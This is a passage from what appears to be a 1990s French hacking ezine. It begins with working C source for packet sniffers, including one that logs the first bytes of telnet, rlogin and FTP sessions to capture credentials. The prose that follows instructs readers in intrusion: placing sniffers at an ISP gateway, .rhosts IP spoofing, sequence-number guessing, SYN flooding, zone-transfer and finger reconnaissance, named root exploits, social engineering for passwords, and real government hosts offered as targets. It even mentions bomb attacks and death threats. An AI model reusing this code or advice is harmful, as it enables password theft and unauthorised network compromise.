   for(i=0;i != datalen;i++)
   {
      if(data[i] == 13) {puts(" ");t=0;}
      if(isprint(data[i])) {printf("%c", data[i]);t++;}
      if(t > 75) {t=0;puts(" ");}
   }
}
 

main()
{
   int s;
   s=openintf("eth0");
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
   signal(SIGHUP, SIG_IGN);
   clear_victim();
   for(;;)
   {
      read_tcp(s);
      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
   }
}

char *hostlookup(unsigned long int in)
{
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;

   i.s_addr=in;
   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;
}

void clear_victim(void)
{
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}
 

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/le0"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Yo Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms"

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}
 

/* ipl.c 1/3/95    by loq */
/* monitors ip packets for Linux */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>

#define BUFLEN 8192
#define ETHLINKHDR 14
 

print_data(int count, char *buff)
{
 int i,j,c;
 int printnext=1;
 if(count)
 {
 if(count%16)
  c=count+(16-count%16);
 else c=count;
 }
  else
  c=count;
 for(i=0;i<c;i++)
 {
  if(printnext) { printnext--; printf("%.4x ",i&0xffff); }
  if(i<count)
  printf("%3.2x",buff[i]&0xff);
  else
  printf("   ");
  if(!((i+1)%8))
   if((i+1)%16)
    printf(" -");
   else
    {
     printf("   ");
     for(j=i-15;j<=i;j++)
       if(j<count) {
      if( (buff[j]&0xff) >= 0x20 &&
          (buff[j]&0xff)<=0x7e)
            printf("%c",buff[j]&0xff);
      else printf(".");
      } else printf(" ");
    printf("\n"); printnext=1;
    }
 }
}

int
initdevice(device, pflag)
 char *device;
 int pflag;
{
#define PROTO htons(0x0800)   /* Ethernet code for IP protocol */

 int if_fd=0;
 struct ifreq ifr;

 if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {
  perror("Can't get socket");
  exit(2);
 }

 strcpy(ifr.ifr_name, device);       /* interface we're gonna use */
 if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 ) {    /* get flags */
  close(if_fd);
  perror("Can't get flags");
  exit(2);
 }
#if 1
 if ( pflag )
  ifr.ifr_flags |= IFF_PROMISC;         /* set promiscuous mode */
 else
  ifr.ifr_flags &= ~(IFF_PROMISC);
#endif

 if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 ) {    /* set flags */
  close(if_fd);
  perror("Can't set flags");
  exit(2);
 }
 return if_fd;
}

struct etherpacket {
 struct ethhdr  eth;
 struct iphdr  ip;
 struct tcphdr  tcp;
 char   data[8192];
 };

main()
{
 int linktype;
 int if_eth_fd=initdevice("eth0",1);
#if 0
 int if_ppp_fd=initdevice("sl0",1);
#endif
 struct etherpacket ep;
 struct sockaddr dest;
 struct iphdr *ip;
 struct tcphdr *tcp;
 struct timeval timeout;
 fd_set rd,wr;
 int dlen;
#if 0
 struct slcompress *slc=slhc_init(64,64);
#endif

 for(;;)
 {
  bzero(&dest,sizeof(dest));
  dlen=0;
  FD_ZERO(&rd);
  FD_ZERO(&wr);
  FD_SET(if_eth_fd,&rd);
#if 0
  FD_SET(if_ppp_fd,&rd);
#endif
  timeout.tv_sec=0;
  timeout.tv_usec=0;
  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  while(timeout.tv_sec==0 && timeout.tv_usec==0)
  {
  timeout.tv_sec=10;
  timeout.tv_usec=0;
  select(20,&rd,&wr,NULL,&timeout);
  if(FD_ISSET(if_eth_fd,&rd))
   {
   printf("eth\n");
   recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);
   }
#if 0
  else
   if(FD_ISSET(if_ppp_fd,&rd))
   {
   recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);
   printf("ppp\n");
   }
#endif
  }

  printf("proto: %.4x",ntohs(ep.eth.h_proto));
#if 0
  if(ep.eth.h_proto==ntohs(8053))
  {
   slhc_uncompress(slc,&ep,sizeof(ep));
  }
#endif

  if(ep.eth.h_proto==ntohs(ETH_P_IP))
  {
  printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",
   ep.eth.h_source[0],ep.eth.h_source[1],
   ep.eth.h_source[2],ep.eth.h_source[3],
   ep.eth.h_source[4],ep.eth.h_source[5]);
  printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",
   ep.eth.h_dest[0],ep.eth.h_dest[1],
   ep.eth.h_dest[2],ep.eth.h_dest[3],
   ep.eth.h_dest[4],ep.eth.h_dest[5]);
  printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));
  printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));
  print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),
   ep.data-2);
  }
 }
}

   Maintenant que vous savez comment fonctionne voyons quel avantage nous pouvons en tirer: sur un réseau local, qui est connecté à Internet par un serveur (tête de réseau), il suffit de placer un sniffer sur cette même tête de réseau pour que les packets transitant vers lui puis de lui vers le net, soient interceptés. Si vous ne voyez absolument pas ce que celà représente, imaginez un réseau de 500 ordinateurs ou de 500 pc représentés par une adresse IP. Par exemple un ISP quelquonque: les packets peuvent transiter vers lui, et vous vous interceptez chaque packet envoyé par ces 500 machines. EN quelques heures, votre disque dur est mort, rempli. Il existe des sniffers qui font un filtrage d'IP. Appuyez vous sur ce fait ou bien ne filez ces sniffers qu'aux machines visées. ATTENTION: des méthodes de protections ont été élaborées, surtout au niveau du sniffing. Refilez un sniffer et faites vous repérer risque de vous apporter de grosses emmerdes. Il se peut aussi que les packets envoyés par X ordinateur soit crypté, il vous faudra trouver comment les décrypter.
 
 

IV/ Spoofing

   J'avais déjà fait un article sur le spoofing (petit), dans Nopeace2. je pense qu'il serait plus utile d'approfondir. je rappelle en quoi consiste le spoofing: le spoofing consiste à se faire filtrer à travers des firewalls et proxys (ou mêmes des systèmes) comme étant une machine "amie". Ainsi on casse les protections mises en oeuvres par des administrateurs réseaux au niveau du filtrage des clients (une connection se fait toujours client - serveur).
 

Exemple d'un fichier .rhosts:
coto1.cri.hackers.com cstrife
coto2.cri.hackers.com bond
coto3.cri.hackers.com thorgal
coto4.cri.hackers.com jeankevin
Ce sont les adresses locales de chaque machines, et à coté le nom d'utilisateur. Lors d'une tentative de connection sur le serveur ayant ce fichier enregistré, les utilisateurs qui auront inscrits le login cstrife ou bond ou thorgal ou jeankevin, se verront attribuer l'accès au serveur, une procédure d'authentification au niveau de l'adresse locale ayant été faite bien sur. Seulement ces 4 machines devront eux-mêmes avoir une entrée .rhosts. Dans le cas de fichiers .rhosts vides ou absents sur l'un ou l'autre des ordinateurs (client ou serveur), une attaque de type spoofing ne peut-être crée.
Comment faire simple: demandez à quelqu'un que vous connaissez qui travail sur réseau, et dont la tête de réseau est accsessible par internet, de créer un fichier .rhosts (ou hosts.equiv s'il a un accès en root) pour pouvoir vous spoofer, et ensuite piratez le réseau (placez des sniffers, détruisez la tête de réseau, accédez aux autres ordinateurs en réseau...) Si le retour des packets s'effectue dans le chemin inverse que celui par lequels ils sont venus, un hacker prélèverait les IP qui existent entre ces deux ordinateurs en liaison, et celà lui permettrait de récupérer les packets IP si il arrive à cracker un de ces poste. Il n'y a pas 36 solutions: identifier les cibles correspond à identifier l'hôte (ou le client si vous préférez), et le serveur. Si vous savez pas comment faire c'est que vous avez quelques déficiences au niveau de vos capacités. On va pas répéter ce que tout le monde explique. Immobiliser l'hôte consiste à le hacker en mots francs. Le hacker c'est à dire: obtenir le login logiquement utilisé pour se connecter à la cible, puis obtenir les numéros et pass de connections pour pouvoir usurper son IP, sinon faites changez le fichier rhosts sur la cible. Le reste (connection, login), n'est pas trop difficile: les connections avec telnet, et obtenez le N° de séquence par divers moyens (expliqués ci bas): les admins de l'hote ne se méfie pas trop quand on leur demande juste leur login pour se connecter à la cible; n'oubliez pas d'avoir un fichier rhosts, pour une connection à double sens (une connection s'établie toujours dans deux sens, c'est comme un pont entre deux rives d'un fleuve, sauf erreur de ma part).
Mais sans avoir l'IP de la machine hôte (ce qui se peut impossible), vous pouvez essayer de vous connecter à la cible. A la demande de login un packet sera envoyé à la machine qui normalement possède le login avec un numéro de séquence. Si il y a réponse de la part de cette machine vous êtes cuits (plus bas, explications sur les N° de séquence). Plusieurs solutions bien merdiques, bien lâches, consistent à immobiliser l'hôte qui aurait du être l'hôte normal. Mais on est pas là pour déconner: si vous arrivez à faire ce genre de piratage, les détails sont inintéressants. Immobiliser l'hôte usuel se fait par: virus, trojans, failles de sécurités, attentats à la bombe, menaces de morts, Social Engineering, piratage de l'hôte (!).

Prenons le cas du piratage de l'hôte: l'hôte usuel est aussi serveur et permet à d'autre clients (que vous ne connaissez pas) de se connecter à lui, menez une enquête: Social Engeeniring, NewGroups, mails, questions, scann du réseau etc... Tout est bon. Puis faites la même technique, si vous n'y arrivez pas, de fil en aiguille vous finirez par réussir, et là c'est gagné: vous êtes descendu, éloigné de votre cible principale, puis vous remonterez jusqu'à la cible attaquée.

Le cas du flooding: ça peut paraitre lame le flooding mais ça devient très utile, surtout quand il s'agit de mettre un réseau hors-service. On ne parle pas de flooding ICQ ou IRC ou autres lameries dans ce genre. Le flooding (surtout le SYN Flooding qui correspond à une tonne de demandes connexions, va créer une file d'attente et le serveur ne peut plus traiter les demandes de connexions entrantes.

Qu'est-ce qu'un numéro de séquence: un numéro de séquence est à peu près ce qui va permettre d'établir une connection. Exemple: un paquet TCP est envoyé par la machine X vers la machine Y avec son numéro de séquence. Puis une réponse est envoyé de la machine Y vers X avec le numéro de séquence de X plus celui de Y. Encore un packet est envoyé à Y de la part de X, et le transfert peut commencer. Le but de l'attaquant est de truquer le N° de séquence source, et maintenir ce N° de séquence. l'attaquant doit donc deviner le N° de séquence initial pour retourner la bonne réponse. Celà peut paraitre simple, sauf que les N° de séquences sont codés avec un algorithme, le but étant de découvrir aisni la bonne réponse à retourner. Problème: si l'on contrefait son N° de séquence, un serveur peut retourner le paquet de réponse au client dont le N° de séquence correspond à celui contrefait. le but ensuite est de retrouver le N° de séquence contenu dans ce packet qui ne retourne pas à la personne s'étant spoofée, pour pouvoir aquitter la connection. Il y a aussi le problème vu plus haut, c'est que la machine ayant le bon N° de séquence réponde, donc il faut l'immobiliser.
 

ARP est un protocole qui doit faire correspondre les adresses Internet aux adresses physiques. Un message de requête ARP est diffusé sur le sous réseau vers une cible qui répond en envoyant sa propre adresse matérielle, ainsi un transfert de packets peut s'effectuer. Il est intéressant de comprendre ça, car ARP garde les logs des adresses contactées, ces logs peuvent permettre à un pirate d'avoir les adresses matérielles de machines, et appliquer les attaques habituelles.

Cet article prend fin. il est intéressant mais réservé aux gens qui ont une certaine expérience.
 
 

V/ Attaques par Telnet

   Telnet c'est excellent car on pourrait croire un programme qui ne gère que le "telnet" (qui est un protocole), mais qui en fait peut en gérer bien plus (FTP, SNMP, SMTP...). L'interface de telnet est très basique: les commandes sont entrées directement dans le programme, il n'y a aucun graphismes, que des notions de commandes-reponses. Cet aspect très archaique peut rebuter nombre des Neophytes qui veulent se servir de telnet. Mais voilà: loin d'être compliqué Telnet est on ne peut plus faciel à utilsier justement grâce à sa simplicité. On va pas expliquer comment utiliser telnet, mais si vous avez des difficultés au niveau des comandes à entrer une fois connecté sur un serveur tapez "help" ou "?" (ne marche que sur certains types de serveurs).

Il y a plusieurs types d'attaques par Telnet:

Evaluation de chacune de ces techniques: dans chacune d'elles vous pouvez vous faire repérer, la plus dangereuse reste celle du cracking et du spoofing. La première de ces deux là requiert d'essayer les mots de passe un par un, et il n'existe pas de crackers pour telnet, donc c'est à vous d'essayer les pass un par un. Il y a plusisurs raisons à l'absence de crackers:


En cas d'attaques par spoofing détectée, vous êtes détecté, par conséquent vous risquez d'avoir de gros ennuis.

Je vais expliquer comment appliquer chacune de ces techniques. A part l'attaque par spoofing étant donné que c'est déjà vu plus haut. le carcking/finding et SE vont ensemble à la limite. Mais on va les étudier cas par cas.
Le finding et cracking, consistent à trouver des informations concernant un réseau ou concernant les administrateurs/utilisateurs, de ce réseau. ces informations sont en généralement très simples à trouver, à condition de savoir: où chercher, et quoi chercher.
al première chose qu'on va faire, c'est scanner le réseau pour savoir quelles sont les ordinateurs de ce réseau connectés au net.
Sortez Ws Ping Pro Pack, à partir de là faites un scann du réseau. Si vous savez pas comment faire, http://www.ipswitch.com.
Il existe bien sur d'autres scanners, mais celui-ci est simple d'utilisation. Ensuite vous pouvez recherchez des informations sur les administrateurs, en allant sur http://www.networkssolutions.com. La vous avez déjà une base sur laquelle partir. Ensuite on peut essayer de trouver des informations plus aprofondies (les logins des utilisateurs, leur personnalité). Le mieux est de voir si le réseau répond à une commande te type host:
Exemple:
host -l -v any réseau.com
Donnerait une liste d'informations désordonnées, mais qui en réalité correspondent aux ordinateurs reliés entre eux (ce sont les adresses locales qui vont sont fournies) dans ce réseau. Notons que certaines infos peuvent être révélatrices. Si l'on remarque un poste exploitant Solaris, une compromission de l'accès root est possible par débordment du tampon rlogin.
Ou encore si une machine tourne sous Linux redhat, un accès root est possible par utilisation d'une faille imapd.
Plus simple: si un ordinateur opère sous IRIX, il a de fortes chances de compromettre le compte root, par http, dans le répertoire cgi-bin/handler
Exemple: http://IP ou local host/cgi-bin/handler
Plus en détails, si l'on prend un local host comme cs.bu.edu (c'est un exemple), on peut essayer de voir s'ils utilisent finger, si c'est le cas on peut obtenir des infos comme:
madhacker Ernest Kim p2 6 Tue 11:32 moria.bu.edu:0.0
Ernest vient de moria.bu.edu. Après examen des listings, on peut supposer que moria se trouve dans le cluster cs. il est peut-être possible d'utiliser moria pour attaquer un voisin ou un ami. Seulement il faut vérifier les noms d'utilisateurs de ce système, toujours par finger.On pourra même savoir ce que fait chacun (mail, rlogin, netscape...)
Mais c'est pas juste par simple curiosité: on a ainsi les logins de chaque utilisateurs.
Une recherche d'informations s'étend aussi aux recherches dans la vie courante: se reenseigner sur un employé, ses activités, etc...

Une fois ces informations obtenues, dressez vous-même un profil. Il existe plusieurs types d'utilisateurs selon ce que vous avez recueilli comme informations: Les deux dernières cibles sont à contacter. Utilisez le Social Engeneering ou le courrier tactile pour avoir leurs logins et mots de passes, au sein du réseau.

On s'éloigne du sujet abordé me direz vous. Mais une fois ces logins et mots de passes en poches, vous pouvez accédez à leurs comptes e-mails (si c'est eux qui déterminent leurs mots de passes), ou faire de la connection par telnet avec ces logins et mots de passes, si ils ont un compte accessible depuis l'internet. Exemple du site www.y.com. Les emails sont envoyés à jericho@y.com (par exemple), et si les mails sont reçus sur la machine serveur, vous pouvez y accéder.

Vous remarquerz que j'ai parlé de Social Engineering (pas pu m'en empêcher), car comme cité plus haut, ces 3 facteurs peuvent être indépendants.
 

Certaines sessions telnet (en restriction totale, lors de la demande du login et du mot de pase), sur certains serveurs, affichent le nom du système sur lequel vous tentez de vous connecter. Celà peut devenir un point fort pour un hacker qui sait exploiter les failles de ces systèmes. Mais des scanners copmme SATAN analysent les informations reçues lors de la demande de connection pour déterminer le type de système distant.
Celà s'applique en général pour les serveurs proposant une connection telnet par: J'en vois un qui râle car y'a pas de bons exemples. J'avais filé l'adresse de l'US navy ou un de ses serveurs s'en rapprochant (navobs1.usnogps.navy.mil) dans mon premier e-zine. Allez je suis gentil:
vn.nas.nasa.gov
est l'adresse de la NASA ou d'un de ces serveurs. Il y a peu de chances pour que celui-ci soit reliés à un réseau intranet important. Mais bon, c'est juste histoire de voir aussi qu'il y a un IP filtering, car les européens verront ce message:
